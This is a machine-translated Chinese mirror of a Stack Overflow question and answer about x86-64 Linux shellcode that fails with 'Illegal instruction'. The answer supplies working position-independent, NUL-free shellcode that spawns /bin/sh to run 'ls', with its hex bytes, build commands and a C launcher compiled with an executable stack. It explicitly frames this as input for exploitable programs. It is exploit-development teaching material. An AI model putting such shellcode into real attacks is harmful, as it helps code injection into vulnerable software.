首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Shellcode:非法指令

Shellcode:非法指令
EN

Stack Overflow用户
提问于 2020-10-18 16:54:29
回答 1查看 1.4K关注 0票数 2

我是shellcode代码开发的新手,我不明白为什么生成的shellcode代码不能像预期的那样工作。

汇编程序代码:

基于an answer对我之前的问题。

代码语言:javascript
复制
.section .data
cmd:    .string "/bin/sh"               /* command string */
hand:   .string "-c"                    /* command arguments string */
args:   .string "ls -al"                /* arguments string */
argv:   .quad cmd                       /* array of command, command arguments and arguments */
        .quad hand
        .quad args
        .quad 0

.section .text
.globl _start
_start:
        movq    $59,            %rax    /* call execve system call */
        leaq    cmd(%rip),      %rdi    /* save command to rdi */
        leaq    argv(%rip),     %rsi    /* save args to rsi */
        movq    $0,             %rdx    /* save NULL to rdx */

        syscall                         /* make system call */

C测试代码:

代码语言:javascript
复制
#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = "\x48\xc7\xc0\x3b\x00\x00\x00\x48\x8d\x3d\xf2\x0f\x00\x00\x48\x8d\x35\xfd\x0f\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x0f\x05";

int main()
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

输出:

代码语言:javascript
复制
Illegal instruction

详细信息: Kali Linux /Linux i386 x86_64

EN

回答 1

Stack Overflow用户

发布于 2020-10-18 18:02:25

代码的问题是,您生成的shell字符串不包含任何数据。数据包含绝对指针,因此不独立于位置,因此如果将其移动到.text并包含它,则无法工作。一旦在另一个程序中运行,就像在C代码中一样,该程序将尝试查找不存在的数据,并在不适用于正在运行的可利用程序的固定内存位置。

我想你可能还有另一个问题导致了非法指令。您没有展示如何构建C程序,但我不知道它是否为32位,外壳代码是否为64位。我开始认为您的C程序可能已经编译成32位程序,而非法指令可能是因为您无法在32位程序中可靠地运行64位代码( shell代码)。例如,SYSCALL指令是非AMD上32位程序中的无效操作码.对于如何编译/组装/链接shell代码和C程序,这只是猜测而已。

您必须生成独立于位置的代码(PIC),这样一旦加载到堆栈上,它就可以在任何地方运行。您的数据必须与代码一起放置在段中。代码还必须避免生成NUL字符(0x00),因为如果将字符串作为用户输入提供给实际的可利用程序,则会过早终止字符串。

可用于此类目的的代码版本如下所示:

外壳代码.s

代码语言:javascript
复制
# This shell code is designed to avoid any NUL(0x00) byte characters being generated
# and is coded to be position independent.

.section .text
.globl _start
_start:
    jmp overdata                 # Mix code and DATA in same segment

# Generate all the strings without a NUL(0) byte. We will replace the 0xff
# with 0x00 in the code
name:.ascii "/bin/sh"            # Program to run
name_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg1:.ascii "-c"                 # Program argument
arg1_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code
arg2:.ascii "ls"                 # Program Argument
arg2_nul: .byte 0xff             # This 0xff will be replaced by 0x00 in the code

overdata:
    xor  %eax, %eax              # RAX = 0

    # All references to the data before our code will use a negative offset from RIP
    # and use a 4 byte displacement. This avoids producing unwanted NUL(0) characters
    # in the code. We use RIP relative addressing so the code will be position
    # independent once loaded in memory.

    # Zero terminate each of the strings
    mov  %al, arg2_nul(%rip)     
    mov  %al, arg1_nul(%rip) 
    mov  %al, name_nul(%rip)

    lea  name(%rip), %rdi        # RDI = pointer to program name string

    push %rax                    # NULL terminate the program argument array
    leaq arg2(%rip), %rsi
    push %rsi                    # Push address of the 3rd program argument on stack
    lea  arg1(%rip), %rsi
    push %rsi                    # Push address of the 2nd program argument on stack
    push %rdi                    # Push address of the program name on stack as 1st arg
    mov  %rsp, %rsi              # RSI = Pointer to the program argument array

    mov  %rax, %rdx              # RDX = 0 = NULL envp parameter

    mov $59, %al                 # RAX = execve system call number

    syscall

可以使用以下方法生成C样式字符串:

代码语言:javascript
复制
as --64 shellcode.s -o shellcode.o
ld shellcode.o -o shellcode
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

上面的hexdump命令将输出:

\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05

您将注意到,不存在与代码不同的\x00字符。您可以在C程序中直接使用此字符串,如下所示:

plit.c

代码语言:javascript
复制
int main(void)
{
    char shellcode[]="\xeb\x0e\x2f\x62\x69\x6e\x2f\x73\x68\xff\x2d\x63\xff\x6c\x73\xff\x31\xc0\x88\x05\xf7\xff\xff\xff\x88\x05\xee\xff\xff\xff\x88\x05\xe5\xff\xff\xff\x48\x8d\x3d\xd7\xff\xff\xff\x50\x48\x8d\x35\xda\xff\xff\xff\x56\x48\x8d\x35\xcf\xff\xff\xff\x56\x57\x48\x89\xe6\x48\x89\xc2\xb0\x3b\x0f\x05";

    int (*ret)() = (int(*)())shellcode;
    ret();

    return 0;
}

这必须通过可执行堆栈进行编译和链接:

代码语言:javascript
复制
gcc -zexecstack exploit.c -o exploit

strace ./exploit将生成类似于以下内容的EXECVE系统调用:

execve("/bin/sh“、"/bin/sh”、"-c“、"ls”、NULL) =0

Note:我会以编程方式在堆栈上构建字符串,类似于我编写的另一个Stackoverflow answer中的代码。

票数 2
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/64415910

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档